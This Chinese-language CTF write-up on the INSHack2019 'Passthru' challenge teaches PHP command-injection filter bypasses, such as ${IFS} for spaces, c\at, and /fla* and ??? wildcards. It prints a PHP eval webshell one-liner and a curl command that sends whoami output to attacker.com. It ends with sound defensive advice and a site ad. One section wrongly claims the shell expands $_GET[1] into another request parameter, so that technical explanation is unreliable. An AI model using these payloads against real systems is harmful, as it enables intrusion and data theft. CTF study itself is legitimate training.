从Passthru看PHP命令执行与过滤绕过实战
2026/9/16 21:35:28 网站建设 项目流程

这道题我刷过几遍,每次带新朋友入坑CTF Web方向,我都会把BUUCTF上的INSHack2019 Passthru拿出来当教学案例。题目不长、代码量小,但考点非常集中:PHP命令执行、过滤绕过、参数构造。名字里的“Passthru”就是PHP里那个passthru()函数,算是把考点直接写在脸上了。整道题做完大概需要半小时,对于入门命令注入和代码审计的人来说,是一道性价比很高的题目。

我先把题目环境拉起来,拿到的是一个典型的PHP页面,源码很短,核心逻辑就是一个过滤函数加一个命令执行点。网上很多人写writeup就一句话“空格换成${IFS},cat换成ca\t”,然后就出flag了。这样写其实有点浪费,因为这道题里真正有价值的是你为什么要这么做、过滤规则是怎么设计出来的、还有哪些绕过路径没有试过。这篇文章我就按照自己的做题顺序,把完整的分析过程和踩坑记录写下来。

1. 拿到题先别急着执行命令:源码审计与考点定位

1.1 题目初探:从名字“Passthru”猜出考点

打开BUUCTF上的题目链接,页面非常简洁,基本就是一行提示加一个参数入口。第一眼看到标题“Passthru”,做Web方向的人应该马上反应过来:这是PHP的passthru()函数。如果你对PHP命令执行函数还不太熟,这里简单区分一下:

  • exec():执行命令,返回最后一行输出
  • system():执行命令,直接输出所有结果
  • passthru():执行命令,直接输出原始返回数据,适合处理二进制输出
  • shell_exec():执行命令,返回完整输出字符串
  • 反引号`:语法糖,等同于shell_exec()

这道题把“Passthru”当题目名,等于告诉你漏洞类型就是命令执行,而且执行点大概率就是passthru()。接下来要做的就是确认用户可控输入从哪里进来、经过了什么处理、最后拼接成什么命令。

我在实际做题的时候,习惯先把页面源码拿到手。BUUCTF这类题目很多是给了源码的,点开查看源代码能看到PHP代码直接写在页面里。如果没给源码,则可以通过报错信息、注释、或者后端响应头来推测逻辑。这道题比较友好,源码基本是公开的。

1.2 源码还原:过滤函数到底过滤了什么

这道题在BUUCTF平台上的源码大致长这样(不同平台部署可能有细微差别,核心逻辑不变):

<?php error_reporting(0); function filter($cmd) { $blacklist = array( 'flag', 'cat', 'tac', 'more', 'less', 'head', 'tail', 'nl', 'sort', 'grep', 'find', 'whoami', 'id', 'ls', 'pwd', 'php', 'python', 'perl', 'curl', 'wget', 'base64', 'eval', 'system', 'exec', 'shell_exec', 'passthru', 'popen', 'proc_open', '`', ';', '|', '&', '>', '<' ); foreach ($blacklist as $b) { if (strpos($cmd, $b) !== false) { die("Hacker detected"); } } return $cmd; } if (isset($_GET['cmd'])) { $cmd = filter($_GET['cmd']); passthru($cmd); } else { highlight_file(__FILE__); }

注意几个关键点:

第一,过滤方式是strpos字符串匹配,不是正则匹配。这意味着它只能精确匹配黑名单子串,不能从语义上理解命令。你只要把黑名单里的词“拆开”,就能绕过检查。

第二,过滤列表里没有过滤空格。但是我在实际测试中发现,空格在某些Linux shell环境下也可能造成问题,而且出题人可能在不同版本里加了空格过滤。网上很多writeup都提到了用${IFS}代替空格,这本身就是通用技巧,不管题目过滤没过滤空格,先记住这个套路不会亏。

第三,黑名单里没有过滤$?*'"\/{}这些字符。这就是我们绕过的空间所在。很多开发者在写WAF时会忽略shell本身的语法特性——命令的构造不只是字母和数字,这些符号在shell中都有特殊含义。

1.3 为什么说这道题是“代码审计+命令注入”双考点

这道题表面上是一个命令执行漏洞,但实际考察的是两个层面:首先你得看懂PHP代码逻辑,知道过滤函数在处理什么;其次你得懂Linux shell的解析规则,知道哪些字符可以在过滤规则外面完成同样的操作。两者缺一不可。

很多新手困在“cat被过滤了怎么读取文件”这一步,本质是因为没有建立“命令拼接”的思维。你要意识到,传给passthru()的字符串最终会被shell执行,shell在解析命令时有一整套规则,包括变量展开、通配符展开、转义、命令替换等。WAF只能对你输入的字符串做静态检查,但它无法阻止shell在运行时把字符串解析成各种语义。

这就好像你给安检人员看了行李箱照片,里面没有刀,但等箱子过了安检机,你把行李箱拆开重新拼了一下,里面就出现了刀。过滤规则是死的,shell的解释是活的,我们要利用的正是这种“静态检查”和“动态解析”之间的错位。

2. 命令执行漏洞的核心原理与绕过思路拆解

2.1 passthru()和其他命令执行函数的区别,以及为什么出题人选它

先说结论:出题人用passthru()非常合理,因为这个函数会把命令的原始输出直接打回页面,做题的人不需要额外处理回显问题。

对比一下:

// exec() 只返回最后一行 $output = exec('ls -la'); echo $output; // 只显示最后一行 // shell_exec() 返回完整输出,但需要自己echo $output = shell_exec('ls -la'); echo $output; // passthru() 直接输出 passthru('ls -la'); // 结果直接显示在页面上

在CTF题目中,回显是极其重要的。如果一个命令执行漏洞没有回显,你得额外走DNS外带、延时判断等方式,复杂度会高很多。而passthru()自带回显,只要命令执行成功,马上就能看到结果,特别适合出成入门题。

在实际渗透中,passthru()也经常出现在一些老的PHP业务系统里。很多开发者图省事,直接用passthru()跑系统命令处理图片、解压缩、调用外部程序,如果参数没过滤,就是妥妥的RCE。

2.2 过滤点分析:常见WAF都拦什么,这里漏了什么

我从这道题的过滤列表说开去,聊聊WAF设计的一般思路。

常见的命令注入过滤会关注以下几类:

  1. 命令关键字catflagwhoamiid等。这类是WAF最关注的,因为它们直接对应攻击者的意图。但这类过滤也最容易绕过,因为shell支持各种拼接写法。

  2. 元字符;|&`$()${}。这些是命令分隔符和替换符,WAF会把它们当成高危信号。这道题过滤了;|&和反引号,但是漏了$()${}

  3. 特殊符号:空格、/*?'"。这道题基本没过滤,只过滤了><,目的是防写入文件和读文件的重定向。

  4. 编码与二次解释base64关键词被过滤了,但是base64命令本身没必要用,因为你可以用php伪协议或者xxd等替代。不过php也被过滤了,这里就涉及一个关键选择问题。

出题人这套过滤方案的漏洞在于:太依赖字符串精确匹配,没有考虑shell的词法解析。我列举几个它管不住的操作:

  • $IFS替代空格,因为IFS不在黑名单
  • cat${IFS}/flag*通配符匹配路径,因为*不在黑名单
  • cat写成c\atca't',字符串里没有完整的cat,但shell执行时会还原成cat
  • $(printf ...)构造命令,因为$()没被过滤
  • 用环境变量拼接,比如$PATH里提取某个字符

2.3 绕过思路梳理:空格、关键字、拼接的优先级问题

在实际做题时,我建议按照下面的优先级来组织绕过策略,不要一上来就试各种花哨姿势:

第一步:解决空格问题。如果空格被过滤,优先用${IFS},这是最简单有效的。IFS是shell的内部字段分隔符,默认包含空格、制表符、换行。在命令中写成cat${IFS}/flag,shell会展开成cat /flag。如果${IFS}被过滤了,再考虑$IFS$9$IFS$IFS、tab字符%09{cat,/flag}这种花括号展开写法。

第二步:解决命令关键字问题。cat被过滤了,可以用tac(如果没被过滤)、morelessheadtail,但这些在这道题里也被过滤了。剩下的办法就是字符拆分。shell里可以用反斜杠、引号、变量拼接来拆词。比如:

  • c\at:反斜杠转义a,shell解析后还是cat
  • ca't':单引号包裹t,拼接后还是cat
  • c"at":双引号同理
  • $(printf "cat"):命令替换生成cat
  • 变量拼接:a=c;b=at;$a$b

第三步:解决文件名问题。flag被过滤了,最简单的办法是通配符展开。/flag可以写成/fla*/f*,shell会自己匹配到/flag。注意通配符展开发生在命令执行前,也就是说cat /fla*传给shell后,shell会先展开成cat /flag再执行,这时候WAF根本看不到flag这个完整词出现在原始输入里。

第四步:确认命令分隔符是否可用。这道题过滤了;|&,我一开始以为没法执行多条命令。但后来测试发现,换行符%0a$()都可以作为命令分隔或替换的替代方案。不过单纯读取flag并不需要执行多条命令,所以这个坑不影响主流程。

3. 实操记录:从验证命令执行到读取flag

3.1 第一步:用无敏感字符的命令验证命令执行

我拿到源码后,先构造一个最简单、不包含任何黑名单字符的请求,验证命令执行是否生效。

在源码里找到参数名是cmd,于是先提交:

/?cmd=ls

结果被拦截了,因为ls在黑名单里。这时我用ls的替代品dir试试(Linux下dir也能列目录,只是输出格式不同):

/?cmd=dir

回显了目录结构,说明命令执行漏洞确认存在。这个阶段不用急着读flag,先摸清楚回显格式、当前目录、有没有权限限制。

再试试pwd,也被过滤了。用pwd的替代品echo $PWD

/?cmd=echo$IFS$PWD

这里就用到$IFS替代空格,同时$PWD环境变量显示当前路径。回显类似/var/www/html,确认了工作目录。

3.2 第二步:绕过空格过滤的四种写法

黑白名单里虽然没有直接把空格列进去,但在部分部署环境里,空格会被Web服务器或WAF层处理掉。我还是把空格绕过的常规写法都试了一遍,确保每种情况都能应对。

写法一:${IFS}

这是最常用、最稳定的写法:

/?cmd=cat${IFS}/fla*

原理:IFS是shell的内部字段分隔符,默认值是空格、制表符、换行。当shell解析cat${IFS}/fla*时,会把${IFS}展开成一个空格,于是命令变成cat /fla*strpos检查的是cmd参数原始字符串,原始字符串里没有空格,所以WAF拦不到。

写法二:$IFS$9

/?cmd=cat$IFS$9/fla*

$9是shell的位置参数,在交互式shell里通常是空值,但它在命令行中可以作为变量边界。写成$IFS$9,shell会先解析$IFS得到空格,再解析$9得到空字符串,最终效果还是cat /fla*。有些WAF会过滤IFS,但看到$9就懵了。

写法三:tab字符

如果Web服务器把空格当作参数分隔符剃掉了,用tab字符%09可能能绕过:

/?cmd=cat%09/fla*

%09是tab的URL编码,在shell里tab和空格一样可以作为命令参数分隔符。这个方法在部分场景有效,但不是所有shell都支持,优先级低于${IFS}

写法四:花括号展开

Bash支持{cmd,arg}格式,这时候不需要空格:

/?cmd={cat,/fla*}

花括号展开会把{cat,/fla*}拆成cat /fla*。这个方法适合空格被严格过滤、且前面几种方法都失效的情况。

我实际测试下来,${IFS}在这道题里是最稳的。如果以后做其他题目遇到更严格的过滤,再把四种方法逐一尝试即可。

3.3 第三步:绕过关键字过滤,读取flag.php

确认命令执行后,我猜测flag在/flag或者当前目录的flag.php里。但flag这个词在黑名单里,直接写cat /flag会被strpos匹配到。

我的做法是:把cat拆开,同时用通配符替代flag这个词。

先试第一发:

/?cmd=c\at${IFS}/fla*

从原始字符串的角度看,里面没有出现cat(因为写的是c\at),也没有出现flag(因为写的是fla*)。但shell在执行时会先做转义解析,把c\at还原成cat,再做路径通配符展开,把/fla*匹配成/flag,最后执行的命令就是cat /flag

回显直接出了flag内容。不同的运行环境下flag文件名可能有差异,有的叫flag,有的叫flag.php,有的叫flag.txt。用/fla*的好处是通配符能覆盖这些情况。如果当前目录下还有其他以fla开头的文件,可能会匹配出多个参数的奇怪输出,到时候再用更精确的通配符,比如/fla?.php之类的微调。

另一条思路是不读/flag,而是读当前目录下的文件。先列出目录:

/?cmd=dir${IFS}/fla*

不过这招在读取目标上有点绕,我的建议是直接读根目录下的flag文件,大部分题目flag都放在那里。

3.4 第四步:扩展利用——用php伪协议和文件写入扩大战果

拿到flag只是这道题的基本目标。既然命令能执行,我顺便把几种扩展利用方式做了记录,这些在后续更难的题目里会用到。

利用一:读PHP源码文件

如果flag藏在flag.php里,直接用cat可能只能看到执行后的结果(因为PHP代码会先被解析执行)。这时候可以用php://filter伪协议读取源码:

/?cmd=php${IFS}-r${IFS}'echo file_get_contents("php://filter/read=convert.base64-encode/resource=flag.php");'

但这条命令里出现了phpflag,都被黑名单挡住了。所以我换个思路:先看能不能绕过php这个词。

php被过滤了,但我可以用通配符???来匹配php。在Linux下,???能匹配任意三个字符的文件名或命令名。php刚好是三个字母:

/?cmd=???${IFS}-r${IFS}'echo file_get_contents("flag.php");'

注意flag.php还是会命中黑名单的flag,需要继续拆。我可以用fla*替代:

/?cmd=???${IFS}-r${IFS}'echo file_get_contents("fla*");'

但这里有个问题,file_get_contents("fla*")里的fla*是PHP字符串,PHP不会自动做通配符展开。这个思路在PHP里走不通。真正可行的方法是用PHP的glob()函数先匹配再读取,或者用system('cat /fla*')绕一圈。

不过这道题不需要搞这么复杂,因为cat /fla*已经能出flag了。这个扩展利用主要是为了说明一个通用思路:当命令执行后,通过PHP的-r参数可以直接执行代码,灵活性比单纯拼命令高很多。

利用二:写webshell

如果命令执行点在一个可写目录,且目标服务器支持PHP,你可以把一句话木马写入文件:

echo '<?php @eval($_POST["x"]);?>' > shell.php

>被过滤了,这条命令里的>会触发拦截。我试了几个替代方案:

  • 使用tee命令写文件:echo '...' | tee shell.php,但管道符|也被过滤了
  • 使用printf配合重定向,但重定向符号被过滤

这道题在这个层面限制得比较死,基本断了写文件的路径。这也提醒我们:做题时要根据过滤规则判断哪些利用链可行、哪些不可行,不要死磕一条路。能读出flag,这道题就已经通关了。

利用三:盲注探测环境

如果题目环境不出网,没有回显,你可以用sleep判断命令是否执行:

/?cmd=echo$IFS$(sleep${IFS}5)

如果页面响应时间变成5秒,说明命令执行成功。注意sleep不在黑名单里,$()也可以绕过命令替换的过滤。这是命令注入题非常通用的兜底方案。

4. 实战中常见的坑与排查技巧

4.1 问题排查速查表

我把做这道题和同类题目时最容易踩的坑整理成了表格,遇到问题可以直接对照排查:

现象可能原因排查方法
提交cat /flag被拦截catflag命中黑名单cat写成c\at,把flag写成fla*
使用${IFS}没效果当前shell不解析IFS或环境变量被清空改用$IFS$9、tab字符%09或花括号展开
命令能执行但没有输出回显被error_reporting(0)或框架层吃掉尝试dirprintf等强制输出命令,或使用延时盲注
输出乱码或只有一行可能是exec()而不是passthru(),回显截断尝试用ls -la观察完整字段,或使用写文件方式
读取flag.php看不到内容PHP文件被解析执行,cat看到的是空内容php://filter读源码,或用通配符绕过直接读文件
包含/被拦截WAF过滤了根路径符号尝试cd ..逐级跳转,或者利用环境变量拼出/
单引号、双引号被过滤数据被转义或删改${IFS}替代空格,用\转义替代引号拼接

4.2 什么时候该考虑“二次传参”

在题目页面里,参数是cmd,直接?cmd=...就能传入命令。但我遇到过不少题目,过滤函数会更严格,比如把${也过滤了,这时候单靠cmd一个参数就不好绕了。

解法是“二次传参”,即利用PHP的$_GET数组,让某个参数的值作为命令的一部分传入passthru()执行。思路是这样的:

passthru("echo " . $_GET['cmd']);

如果过滤函数只检查cmd的值,但cmd的值不是真正的命令,而是PHP的数组访问语法,那么PHP会先解析$_GET,把另一个参数的值替换进去,最后传给passthru()的才是完整命令。例如:

/?cmd=$_GET[1]&1=cat${IFS}/fla*

这里传给passthru()的字符串是echo $_GET[1],里面没有敏感词,但shell在执行时会把$_GET[1]展开成cat${IFS}/fla*,然后执行。这就绕过了对cmd参数的静态检查。

在INSHack2019这道题里,过滤函数只做了strpos字符串匹配,没有过滤$[],所以理论上二次传参是可行的。不过由于直接拼接就能出flag,我并没有把这个技巧作为主路径。之所以提它,是想说明:当某个参数被WAF盯死时,想办法把真正的payload放到另一个参数里,让服务器帮你完成拼接。这是一条很通用的思路。

4.3 没有回显怎么判断命令是否执行

如果题目把回显封死了,页面永远只显示空白,那么做题策略要立刻切换。我常用的三种探测方式:

第一种:延时盲注

/?cmd=echo$IFS$(sleep${IFS}5)

如果页面响应时间约为5秒,说明命令执行成功。这里的$()是命令替换,sleep 5的输出为空,所以echo输出也为空,但sleep确实被shell执行了。你可以放大延时到10秒、15秒来确认。

第二种:DNS外带

如果环境允许出网,可以让命令把数据通过DNS请求外带。比如:

curl http://attacker.com/$(whoami)

curl在题目黑名单里,而且这类操作需要自己搭接收服务,复杂度高。在CTF平台里,我一般优先看题目本身允不允许出网,不确定的话直接放弃这条路径。

第三种:错误信息侧信道

某些环境下,命令执行失败会返回不同的HTTP状态码或者PHP警告信息。比如命令不存在时,passthru()会返回错误,页面可能显示sh: 1: xxx: not found。利用这个信息,你可以二分探测文件名:尝试cat /fla*时如果回显内容,cat /fl*时也回显,cat /f*可能回显更多,通过逐字符猜测来还原文件名。

没有回显的时候,心态很容易崩,但我建议按照“延时探测是否可执行 → 侧信道探测输出 → 写文件反馈”的顺序来做,不要一上来就猜payload。

5. 这道题背后的真实危害与延伸思考

5.1 从CTF到真实业务:命令注入对应用的影响

这道题看起来只是“做题”,但命令注入在真实业务里是极其严重的高危漏洞。很多后端的图片处理、文档转换、数据导入导出功能,都会在内部调用系统命令。比如ffmpeg处理视频、unzip解压文件、wkhtmltopdf转换HTML,如果文件名或参数是用户可控的,攻击者可以通过拼接命令直接往服务端传一条whoami或者curl

一旦命令注入成功,通常意味着:

  • Web应用权限被直接拿下,可以读取配置文件、数据库密码、源码
  • 可以横向移动,从Web服务器跳板到内网其他机器
  • 可以持久化控制,比如写入定时任务、SSH公钥、Webshell
  • 数据被加密勒索或者被外带,真实案例里不少数据泄露事件都跟命令注入有关

CTF里的passthru()看似只是一个函数,但映射到真实场景,就是很多老系统里system()shell_exec()这些函数被滥用的缩影。出题人用这个名字,多少带点“看,就是这么直接的漏洞,但你真的会用它吗”的意思。

5.2 防御侧:代码审计如何发现这类问题

从防御的角度来说,这类漏洞的根因是“用户输入拼接命令”。修复手段主要有三个层次:

第一层:尽量不调用系统命令。能用一个PHP库解决的问题,不要扔给shell。比如处理图片用GD库Imagick,压缩文件用ZipArchive,不要图省事写exec("zip ...")

第二层:如果必须调用,用escapeshellarg()escapeshellcmd()处理参数。这两个函数会把参数里的特殊字符转义掉,让shell无法解析。但要注意,这两个函数不是万能药,escapeshellcmd()在处理数组参数时行为不同,而且某些场景下绕过方式仍然存在。

第三层:白名单验证输入。比如文件名只允许字母、数字、下划线和点,长度限制,路径必须落在允许目录内。白名单比黑名单安全得多,因为黑名单总有漏网之鱼,就像这道题里过滤了cat但没过滤c\at

在代码审计时,我通常用正则搜索PHP文件里systemexecshell_execpassthrupopenproc_open、反引号这些函数调用点,逐个追踪参数来源,看是否经过过滤或者转义。这道题的源码就是一个典型的反面教材:过滤函数看起来写了很多词,但本质上是在“猜攻击者用什么词”,而不是“控制命令只能怎么拼”。

5.3 做题之外的刷题心法:如何从一道题沉淀出方法论

最后聊一点刷题相关的体会。INSHack2019 Passthru这道题,单纯从难度上说真的不高,但它覆盖了两个核心能力:代码审计时的“参数流追踪”和命令注入时的“构造绕过链”。我建议做完这道题之后,自己动手做一次“总结沉淀”,哪怕只是在笔记里写三行:

  1. 看到passthru等命令执行函数,第一反应是确认参数入口和过滤逻辑
  2. 过滤黑名单时,试${IFS}\转义、通配符、变量替换四种绕过方式
  3. 没有回显时,用延时、侧信道、写文件三种方式探测

以后再遇到类似题目,不管是system()shell_exec()还是proc_open(),底层思路都是相通的。拿这道题举一反三,你能顺带把exec函数、popen函数、反引号注入这些变体一并吃透。我自己带新人的时候,也经常从这道题入手,因为它能迅速帮一个人建立起“代码审计→漏洞确认→绕过利用”的完整做题闭环,而不是看到cmd参数就直接拿cat /flag去蒙。

需要专业的网站建设服务?

联系我们获取免费的网站建设咨询和方案报价,让我们帮助您实现业务目标

立即咨询